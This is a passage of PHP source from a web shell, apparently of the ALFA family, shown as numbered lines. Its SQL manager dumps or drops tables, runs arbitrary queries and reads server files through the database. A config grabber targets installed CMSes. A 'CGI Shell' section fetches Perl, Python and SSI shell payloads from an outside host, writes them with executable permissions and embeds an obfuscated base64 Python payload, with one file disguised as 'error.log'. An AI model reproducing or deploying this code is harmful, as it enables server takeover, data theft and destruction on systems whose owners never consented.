  2849. $cwd = str_replace('{user}', $user, $makepwd);
  2850. } else {
  2851. $expl = explode('}/', $makepwd);
  2852. $cwd = $home . '/' . $expl[1];
  2853. }
  2854. $html.= str_replace(array('{count}', '{user}', '{url}', '{cwd}'), array($x++, $user, '[?????]', $cwd), $template);
  2855. }
  2856. echo ($html);
  2857. }
  2858. }
  2859. echo '</table>';
  2860. $cant_symlink = false;
  2861. }
  2862. } else {
  2863. echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
  2864. $cant_symlink = false;
  2865. }
  2866. if ($cant_symlink) echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
  2867. echo '</center></table>';
  2868. }
  2869. echo '</div>';
  2870. alfafooter();
  2871. }
  2872. function alfasql() {
  2873. if (!isset($_POST['sql_host'])) {
  2874. $_POST['sql_host'] = $_SESSION['sql_host'];
  2875. $_POST['sql_login'] = $_SESSION['sql_login'];
  2876. $_POST['sql_pass'] = $_SESSION['sql_pass'];
  2877. $_POST['sql_base'] = $_SESSION['sql_base'];
  2878. }
  2879. class DbClass {
  2880. public $type;
  2881. public $link;
  2882. public $res;
  2883. function __construct($type) {
  2884. $this->type = $type;
  2885. }
  2886. function connect($host, $user, $pass, $dbname) {
  2887. switch ($this->type) {
  2888. case 'mysql':
  2889. if ($this->link = @mysqli_connect($host, $user, $pass, $dbname)) return true;
  2890. break;
  2891. case 'pgsql':
  2892. $host = explode(':', $host);
  2893. if (!$host[1]) $host[1] = 5432;
  2894. if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
  2895. break;
  2896. }
  2897. return false;
  2898. }
  2899. function selectdb($db) {
  2900. switch ($this->type) {
  2901. case 'mysql':
  2902. if (@mysqli_select_db($db)) return true;
  2903. break;
  2904. }
  2905. return false;
  2906. }
  2907. function query($str) {
  2908. switch ($this->type) {
  2909. case 'mysql':
  2910. return $this->res = @mysqli_query($this->link, $str);
  2911. break;
  2912. case 'pgsql':
  2913. return $this->res = @pg_query($this->link, $str);
  2914. break;
  2915. }
  2916. return false;
  2917. }
  2918. function fetch() {
  2919. $res = func_num_args() ? func_get_arg(0) : $this->res;
  2920. switch ($this->type) {
  2921. case 'mysql':
  2922. return @mysqli_fetch_assoc($res);
  2923. break;
  2924. case 'pgsql':
  2925. return @pg_fetch_assoc($res);
  2926. break;
  2927. }
  2928. return false;
  2929. }
  2930. function listDbs() {
  2931. switch ($this->type) {
  2932. case 'mysql':
  2933. return $this->query('SHOW databases');
  2934. break;
  2935. case 'pgsql':
  2936. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  2937. break;
  2938. }
  2939. return false;
  2940. }
  2941. function listTables() {
  2942. switch ($this->type) {
  2943. case 'mysql':
  2944. return $this->res = $this->query('SHOW TABLES');
  2945. break;
  2946. case 'pgsql':
  2947. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  2948. break;
  2949. }
  2950. return false;
  2951. }
  2952. function error() {
  2953. switch ($this->type) {
  2954. case 'mysql':
  2955. return @mysqli_error($this->link);
  2956. break;
  2957. case 'pgsql':
  2958. return @pg_last_error();
  2959. break;
  2960. }
  2961. return false;
  2962. }
  2963. function setCharset($str) {
  2964. switch ($this->type) {
  2965. case 'mysql':
  2966. if (function_exists('mysql_set_charset')) return @mysqli_set_charset($this->link, $str);
  2967. else $this->query('SET CHARSET ' . $str);
  2968. break;
  2969. case 'pgsql':
  2970. return @pg_set_client_encoding($this->link, $str);
  2971. break;
  2972. }
  2973. return false;
  2974. }
  2975. function loadFile($str) {
  2976. switch ($this->type) {
  2977. case 'mysql':
  2978. return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
  2979. break;
  2980. case 'pgsql':
  2981. $this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '" . addslashes($str) . "';select file from solevisible;");
  2982. $r = array();
  2983. while ($i = $this->fetch()) $r[] = $i['file'];
  2984. $this->query('drop table solevisible');
  2985. return array('file' => implode("
  2986. ", $r));
  2987. break;
  2988. }
  2989. return false;
  2990. }
  2991. function dump($table, $fp = false) {
  2992. switch ($this->type) {
  2993. case 'mysql':
  2994. $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
  2995. $create = mysqli_fetch_array($res);
  2996. $sql = $create[1] . ";
  2997. ";
  2998. if ($fp) fwrite($fp, $sql);
  2999. else echo ($sql);
  3000. $this->query('SELECT * FROM `' . $table . '`');
  3001. $head = true;
  3002. while ($item = $this->fetch()) {
  3003. $columns = array();
  3004. foreach ($item as $k => $v) {
  3005. if ($v == null) $item[$k] = "''";
  3006. elseif (is_numeric($v)) $item[$k] = $v;
  3007. else $item[$k] = "'" . @mysqli_real_escape_string($this->link, $v) . "'";
  3008. $columns[] = '`' . $k . '`';
  3009. }
  3010. if ($head) {
  3011. $sql = 'INSERT INTO `' . $table . '` (' . implode(', ', $columns) . ") VALUES
  3012. (" . implode(', ', $item) . ')';
  3013. $head = false;
  3014. } else $sql = "
  3015. ,(" . implode(', ', $item) . ')';
  3016. if ($fp) fwrite($fp, $sql);
  3017. else echo ($sql);
  3018. }
  3019. if (!$head) if ($fp) fwrite($fp, ";
  3020.  
  3021. ");
  3022. else echo (";
  3023.  
  3024. ");
  3025. break;
  3026. case 'pgsql':
  3027. $this->query('SELECT * FROM ' . $table);
  3028. while ($item = $this->fetch()) {
  3029. $columns = array();
  3030. foreach ($item as $k => $v) {
  3031. $item[$k] = "'" . addslashes($v) . "'";
  3032. $columns[] = $k;
  3033. }
  3034. $sql = 'INSERT INTO ' . $table . ' (' . implode(', ', $columns) . ') VALUES (' . implode(', ', $item) . ');' . "
  3035. ";
  3036. if ($fp) fwrite($fp, $sql);
  3037. else echo ($sql);
  3038. }
  3039. break;
  3040. }
  3041. return false;
  3042. }
  3043. };
  3044. $db = new DbClass($_POST['type']);
  3045. if (@$_POST['alfa1'] == 'dumpfile' || @$_POST['alfa1'] == 'droptbl') {
  3046. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  3047. $db->selectdb($_POST['sql_base']);
  3048. switch ($_POST['charset']) {
  3049. case 'Windows-1251':
  3050. $db->setCharset('calfa1251');
  3051. break;
  3052. case 'UTF-8':
  3053. $db->setCharset('utf8');
  3054. break;
  3055. case 'KOI8-R':
  3056. $db->setCharset('koi8r');
  3057. break;
  3058. case 'KOI8-U':
  3059. $db->setCharset('koi8u');
  3060. break;
  3061. case 'calfa866':
  3062. $db->setCharset('calfa866');
  3063. break;
  3064. }
  3065. $json = json_decode($_POST['alfa2'], true);
  3066. if (count($json['tbl']) > 0) {
  3067. if ($_POST['alfa1'] == 'dumpfile') {
  3068. if ($fp = @fopen($json['file'], 'w')) {
  3069. foreach ($json['tbl'] as $v) $db->dump($v, $fp);
  3070. fclose($fp);
  3071. $dumpStatus = true;
  3072. }
  3073. } else {
  3074. foreach ($json['tbl'] as $v) $db->query('DROP TABLE ' . $v);
  3075. }
  3076. }
  3077. unset($_POST['alfa2']);
  3078. }
  3079. alfahead();
  3080. echo "
  3081. <div class=header><center><div class='txtfont_header'>| Sql Manager |</div><p>" . getConfigHtml('all') . "</p></center>
  3082. <form name='sf' method='post' onsubmit='fs(this);return false;'><table cellpadding='2' cellspacing='0'><tr>
  3083. <td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
  3084. <input type='hidden' name='a' value=Sql><input type='hidden' name='alfa1' value='query'><input type='hidden' name='alfa2' value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : 'UTF-8') . "'>
  3085. <td><select name='type'><option value='mysql' ";
  3086. if (@$_POST['type'] == 'mysql') echo 'selected';
  3087. echo ">MySql</option><option value='pgsql' ";
  3088. if (@$_POST['type'] == 'pgsql') echo 'selected';
  3089. echo ">PostgreSql</option></select></td>
  3090. <td><input type='text' name='sql_host' id='db_host' value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
  3091. <td><input type='text' name='sql_login' id='db_user' value='" . (empty($_POST['sql_login']) ? '' : htmlspecialchars($_POST['sql_login'])) . "'></td>
  3092. <td><input type='text' name='sql_pass' id='db_pw' value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
  3093. $tmp = "<input type='text' name='sql_base' id='db_name' value='" . (empty($_POST['sql_base']) ? '' : htmlspecialchars($_POST['sql_base'])) . "'>";
  3094. if (isset($_POST['sql_host'])) {
  3095. if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  3096. $_SESSION['sql_host'] = $_POST['sql_host'];
  3097. $_SESSION['sql_login'] = $_POST['sql_login'];
  3098. $_SESSION['sql_pass'] = $_POST['sql_pass'];
  3099. $_SESSION['sql_base'] = $_POST['sql_base'];
  3100. switch ($_POST['charset']) {
  3101. case 'Windows-1251':
  3102. $db->setCharset('calfa1251');
  3103. break;
  3104. case 'UTF-8':
  3105. $db->setCharset('utf8');
  3106. break;
  3107. case 'KOI8-R':
  3108. $db->setCharset('koi8r');
  3109. break;
  3110. case 'KOI8-U':
  3111. $db->setCharset('koi8u');
  3112. break;
  3113. case 'calfa866':
  3114. $db->setCharset('calfa866');
  3115. break;
  3116. }
  3117. $db->setCharset('utf8');
  3118. $db->listDbs();
  3119. echo "<select name=sql_base><option value=''></option>";
  3120. while ($item = $db->fetch()) {
  3121. list($key, $value) = each($item);
  3122. echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
  3123. }
  3124. echo '</select>';
  3125. } else echo $tmp;
  3126. } else echo $tmp;
  3127. echo "</td>
  3128. <td><input type='submit' value=' '></td>
  3129. <td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
  3130. </tr>
  3131. </table>
  3132. <script>mysql_cache['host']='" . addslashes($_POST['sql_host']) . "';mysql_cache['user']='" . addslashes($_POST['sql_login']) . "';mysql_cache['pass']='" . addslashes($_POST['sql_pass']) . "';mysql_cache['db']='" . addslashes($_POST['sql_base']) . "';mysql_cache['charset']='" . addslashes($_POST['charset']) . "';mysql_cache['type']='" . addslashes($_POST['type']) . "';mysql_cache['count']='" . addslashes($_POST['sql_count']) . "'</script>
  3133. ";
  3134. if (isset($db) && $db->link) {
  3135. echo '<br/><table width=100% cellpadding=2 cellspacing=0>';
  3136. if (!empty($_POST['sql_base'])) {
  3137. $db->selectdb($_POST['sql_base']);
  3138. echo "<tr><td width=1 style='border-top:2px solid #666;'><div class='txtfont'>Tables:</div><br><br>";
  3139. $tbls_res = $db->listTables();
  3140. while ($item = $db->fetch($tbls_res)) {
  3141. list($key, $value) = each($item);
  3142. if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `' . $value . '`'));
  3143. $value = htmlspecialchars($value);
  3144. echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href='javascript:void(0);' onclick=\"fs('0','" . $value . "')\"><span class='mysql_tables' style='font-weight:unset;'>" . $value . '</span></a>' . (empty($_POST['sql_count']) ? '&nbsp;' : " <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . '</nobr><br>';
  3145. }
  3146. echo "<p><input type='checkbox' onclick='is();'> <input type='button' value=' Dump ' onclick=\"fs('4');\" class='button'> <input type='button' value=' Drop ! ' onclick=\"fs('5');\" class='button'></p><div class='txtfont'>File path:</div><input type='text' id='dumpfile' name='file' value='dump.sql'>" . ($dumpStatus ? '<p><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'dump.sql\', \'download\')"><font color="#0F0">~ Download File ~</font></a></p>' : '') . "</td><td style='border-top:2px solid #666;'>";
  3147. if (@$_POST['alfa1'] == 'select') {
  3148. $_POST['alfa1'] = 'query';
  3149. $_POST['alfa3'] = $_POST['alfa3'] ? $_POST['alfa3'] : 1;
  3150. $db->query('SELECT COUNT(*) as n FROM `' . $_POST['alfa2'] . '`');
  3151. $num = $db->fetch();
  3152. $pages = ceil($num['n'] / 30);
  3153. echo '<span>' . $_POST['alfa2'] . "</span> ({$num['n']} records) Page # <input type=text name='alfa3' value=" . ((int)$_POST['alfa3']) . '>';
  3154. echo " of $pages";
  3155. if ($_POST['alfa3'] > 1) echo " <a href='javascript:void(0);' onclick=fs('1','[\"" . $_POST['alfa2'] . "\",\"" . ($_POST['alfa3'] - 1) . "\"]')>&lt; Prev</a>";
  3156. if ($_POST['alfa3'] < $pages) echo " <a href='javascript:void(0);' onclick=fs('1','[\"" . $_POST['alfa2'] . "\",\"" . ($_POST['alfa3'] + 1) . "\"]')>Next &gt;</a>";
  3157. $_POST['alfa3']--;
  3158. $cache_table = $_POST['alfa2'];
  3159. if ($_POST['type'] == 'pgsql') $_POST['alfa2'] = 'SELECT * FROM `' . $_POST['alfa2'] . '` LIMIT 30 OFFSET ' . ($_POST['alfa3'] * 30);
  3160. else $_POST['alfa2'] = 'SELECT * FROM `' . $_POST['alfa2'] . '` LIMIT ' . ($_POST['alfa3'] * 30) . ',30';
  3161. echo '<br><br>';
  3162. }
  3163. if ((@$_POST['alfa1'] == 'query') && !empty($_POST['alfa2'])) {
  3164. $prikey = $db->fetch($db->query("SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '" . @addslashes($_POST['sql_base']) . "' AND TABLE_NAME = '" . @addslashes($cache_table) . "' AND COLUMN_KEY = 'PRI'"));
  3165. $db->query(@$_POST['alfa2']);
  3166. if ($db->res !== false) {
  3167. $title = false;
  3168. echo '<table width="100%" cellspacing="1" cellpadding="2" class="main" style="background-color:#292929" border="1">';
  3169. $line = 1;
  3170. while ($item = $db->fetch()) {
  3171. if (!$title) {
  3172. echo '<tr><th>#</th>';
  3173. foreach ($item as $key => $value) {
  3174. echo '<th>' . $key . '</th>';
  3175. }
  3176. reset($item);
  3177. $title = true;
  3178. echo '</tr><tr>';
  3179. $line = 2;
  3180. }
  3181. if ($cache_table != '') {
  3182. $cacheMsg = '<a href="javascript:void(0);" onclick=fs(\'2\',\'["' . $cache_table . '","' . (!$prikey['COLUMN_NAME'] ? 0 : $prikey['COLUMN_NAME']) . '","' . __ZW5jb2Rlcg(json_encode((!$prikey['COLUMN_NAME'] ? $item : $item[$prikey['COLUMN_NAME']]))) . '"]\')>Edit</a>';
  3183. } else {
  3184. $cacheMsg = '-';
  3185. }
  3186. echo '<tr class="l' . $line . '"><td>' . $cacheMsg . '</td>';
  3187. $line = $line == 1 ? 2 : 1;
  3188. foreach ($item as $key => $value) {
  3189. if ($value == null) echo '<td><i>null</i></td>';
  3190. else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
  3191. }
  3192. echo '</tr>';
  3193. }
  3194. echo '</table>';
  3195. } else {
  3196. echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
  3197. }
  3198. }
  3199. echo ('</form>');
  3200. if ((@$_POST['alfa1'] == 'edit') && !empty($_POST['alfa2'])) {
  3201. $data = explode(':', $_POST['alfa3']);
  3202. echo ('<p><div class="txtfont">Table:</div> <font color="#0F0">' . $data[0] . '</font></p>');
  3203. echo ("<form onsubmit='fsu(this);return false;'><table border='1'>");
  3204. if ($data[1] != '0') {
  3205. $data[2] = __ZGVjb2Rlcg($data[2]);
  3206. $data[2] = str_replace('"', '', $data[2]);
  3207. $fetch = $db->fetch($db->query('SELECT * FROM `' . $data[0] . '` WHERE `' . $data[1] . "` = '" . $data[2] . "'"));
  3208. $fetch['__ALFAKEY'] = $data[1];
  3209. $fetch['__ALFAKEYVAL'] = $data[2];
  3210. } else {
  3211. $d = __ZGVjb2Rlcg($data[2]);
  3212. $fetch = json_decode($d, true);
  3213. }
  3214. foreach ($fetch as $key => $value) {
  3215. if ($key == '__ALFAKEY' || $key == '__ALFAKEYVAL') continue;
  3216. $value = htmlspecialchars($value);
  3217. echo ("<tr><td>$key</td><td><input name='$key' value='$value' /></td></tr>");
  3218. }
  3219. echo ("</table><input type='hidden' name='__ALFADATA' value='" . __ZW5jb2Rlcg(json_encode(($data[1] != '0' ? array('__ALFAKEY' => $data[1], '__ALFAKEYVAL' => $data[2]) : $fetch))) . "'><input type='hidden' name='__ALFATBL' value='{$data[0]}'><input type='submit' value=' '></form>");
  3220. }
  3221. if ((@$_POST['alfa1'] == 'update') && !empty($_POST['alfa2'])) {
  3222. $data = json_decode($_POST['alfa2'], true);
  3223. $alfadata = $data['__ALFADATA'];
  3224. $data2 = json_decode(__ZGVjb2Rlcg($alfadata), true);
  3225. $keyval = array();
  3226. echo ('<p><div class="txtfont">Table:</div> <font color="#0F0">' . $data['__ALFATBL'] . '</font></p>');
  3227. echo ("<form onsubmit='fsu(this);return false;'><table border='1'>");
  3228. $set = '';
  3229. foreach ($data as $key => $value) {
  3230. if ($key == '__ALFATBL' || $key == '__ALFADATA') continue;
  3231. if ($data2['__ALFAKEY'] == $key) {
  3232. $keyval['__ALFAKEY'] = $key;
  3233. $keyval['__ALFAKEYVAL'] = $value;
  3234. }
  3235. $set.= "`$key` = '" . addslashes($value) . "',";
  3236. $value = htmlspecialchars($value);
  3237. echo ("<tr><td>$key</td><td><input name='$key' value='$value' /></td></tr>");
  3238. }
  3239. unset($data['__ALFADATA']);
  3240. echo ("</table><input type='hidden' name='__ALFADATA' value='" . __ZW5jb2Rlcg(json_encode((isset($data2['__ALFAKEY']) ? array('__ALFAKEY' => $keyval['__ALFAKEY'], '__ALFAKEYVAL' => $keyval['__ALFAKEYVAL']) : $data))) . "'><input type='hidden' name='__ALFATBL' value='{$data['__ALFATBL']}'><input type='submit' value=' '></form>");
  3241. if (!isset($data2['__ALFAKEY'])) {
  3242. $where = '';
  3243. foreach ($data2 as $key => $value) {
  3244. if ($key == '__ALFATBL' || $key == '__ALFADATA') continue;
  3245. $value = addslashes($value);
  3246. $where.= "`$key` = '$value' AND ";
  3247. }
  3248. $where = substr($where, 0, -4);
  3249. } else {
  3250. $where = "`{$data2['__ALFAKEY']}` = '" . addslashes($data2['__ALFAKEYVAL']) . "'";
  3251. }
  3252. $set = substr($set, 0, -1);
  3253. $db->fetch($db->query("UPDATE `{$data['__ALFATBL']}` SET $set WHERE $where"));
  3254. if ($db->error()) echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
  3255. else echo ('Success...!');
  3256. }
  3257. if ($_POST['alfa1'] != 'edit' && $_POST['alfa1'] != 'update') {
  3258. echo "<p>Query:</p><form onsubmit='fs(this);return false;'>
  3259. <input type='hidden' name='alfa1' value='query'/>
  3260. <textarea name='query' style='width:100%;height:100px'>";
  3261. echo $_POST['alfa1'] != 'loadfile' ? htmlspecialchars($_POST['alfa2']) : '';
  3262. echo "</textarea><p><center><input type=submit value=' '></center></p></form>";
  3263. }
  3264. echo '</td></tr>';
  3265. }
  3266. echo '</table></form><br/>';
  3267. if ($_POST['type'] == 'mysql') {
  3268. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  3269. if ($db->fetch()) echo "<form onsubmit=\"fs('3',this.f.value);return false;\"><div class='txtfont'>Load file:</div> <input class='toolsInp' type='text' name='f'> <input type='submit' value=' '></form>";
  3270. }
  3271. if (@$_POST['alfa1'] == 'loadfile') {
  3272. $file = $db->loadFile($_POST['alfa2']);
  3273. echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
  3274. }
  3275. } else {
  3276. echo htmlspecialchars($db->error());
  3277. }
  3278. echo '</div>';
  3279. alfafooter();
  3280. }
  3281. function getConfigHtml($cms) {
  3282. $content = '';
  3283. $cms_array = array('wp' => 'WordPress', 'vb' => 'vBulletin', 'whmcs' => 'Whmcs', 'joomla' => 'Joomla', 'phpnuke' => 'PHPNuke', 'phpbb' => 'PHPBB', 'mybb' => 'MyBB', 'drupal' => 'Drupal', 'smf' => 'SMF');
  3284. $content.= "<form onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value);return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
  3285. foreach ($cms_array as $key => $val) {
  3286. $content.= "<option value='{$key}' " . ($key == $cms ? 'selected=selected' : '') . ">{$val}</option>";
  3287. }
  3288. $content.= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='" . $_SERVER['DOCUMENT_ROOT'] . "/' size='30' /> <button class='button'>GetConfig</button>";
  3289. $content.= '</form>';
  3290. return $content;
  3291. }
  3292. function alfacgishell() {
  3293. alfahead();
  3294. $div = '';
  3295. if (!in_array($_POST['alfa1'], array('perl', 'py'))) {
  3296. $div = '</div>';
  3297. echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a href=javascript:void(0) onclick="runcgi(\'perl\')">| Perl | </a><a href=javascript:void(0) onclick="runcgi(\'py\');">| Python | </a><a href=javascript:void(0) onclick="runcgi(\'ssi\');">| SSI Shell | </a><a href=javascript:void(0) onclick="runcgi(\'cgi1\');">| CGi Shell 1 (alfa1) | </a><a href=javascript:void(0) onclick="runcgi(\'cgi2\');">| CG Shell 2 (alfa2)| </a><a href=javascript:void(0) onclick="runcgi(\'hayben\');">| CGIHAYBEN| </a> ';
  3298. }
  3299. if ($_POST['alfa1'] == 'ssi') {
  3300. @mkdir('mka7_shmtl', 0755);
  3301. @chdir('mka7_shmtl');
  3302. alfacgihtaccess('shtml');
  3303. $code = file_get_contents('https://myofcl.github.io/mkaspyshell/ssishtml');
  3304. @__write_file('mka7_ssi.shtml', __get_resource($code));
  3305. @chmod('mka7_ssi.shtml', 0755);
  3306. echo '<iframe src="mka7_shmtl/mka7_ssi.shtml" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
  3307. } elseif ($_POST['alfa1'] == 'hayben') {
  3308. @mkdir('haybenk', 0755);
  3309. @chdir('haybenk');
  3310. alfacgihtaccess('hayben');
  3311. $code = file_get_contents('https://myofcl.github.io/mkaspyshell/haypo');
  3312. @__write_file('hay.po', $code);
  3313. @chmod('hay.po', 0755);
  3314. $code2 = file_get_contents('https://myofcl.github.io/mkaspyshell/hayben.txt');
  3315. @__write_file('hayben', $code2);
  3316. @chmod('hayben', 0755);
  3317. echo '<iframe src="haybenk/hay.po" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
  3318. } elseif (isset($_POST['alfa1']) && in_array($_POST['alfa1'], array('perl', 'py', 'cgi1', 'cgi2'))) {
  3319. @mkdir('cgimka7', 0755);
  3320. @chdir('cgimka7');
  3321. alfacgihtaccess('cgi');
  3322. $name = $_POST['alfa1'] . '.mka';
  3323. $perl2 = file_get_contents('https://myofcl.github.io/mkaspyshell/alfaperl');
  3324. $py2 = '#!/usr/bin/python' . "
  3325. import zlib, base64
  3326. " . 'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
  3327. $perl = base64_decode(file_get_contents('https://myofcl.github.io/mkaspyshell/perlshell'));
  3328. $py = base64_decode(file_get_contents('https://myofcl.github.io/mkaspyshell/pythonshell'));
  3329. if ($_POST['alfa1'] == 'perl') {
  3330. $code = $perl;
  3331. } elseif ($_POST['alfa1'] == 'cgi1') {
  3332. $name = 'perl2.mka';
  3333. $code = $perl2;
  3334. } elseif ($_POST['alfa1'] == 'cgi2') {
  3335. $name = 'py2.mka';
  3336. $code = $py2;
  3337. } else {
  3338. $name = 'error.log';
  3339. $code = $py;
  3340. }
  3341. if (__write_file($name, $code)) {
  3342. @chmod($name, 0755);
  3343. echo '<iframe src="' . 'cgimka7/' . $name . '" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
  3344. }
  3345. }
  3346. echo $div;
  3347. alfafooter();
  3348. }
  3349. function alfaWhmcs() {
  3350. alfahead();
  3351. echo '<div class=header>';
  3352. function decrypt($string, $cc_encryption_hash) {
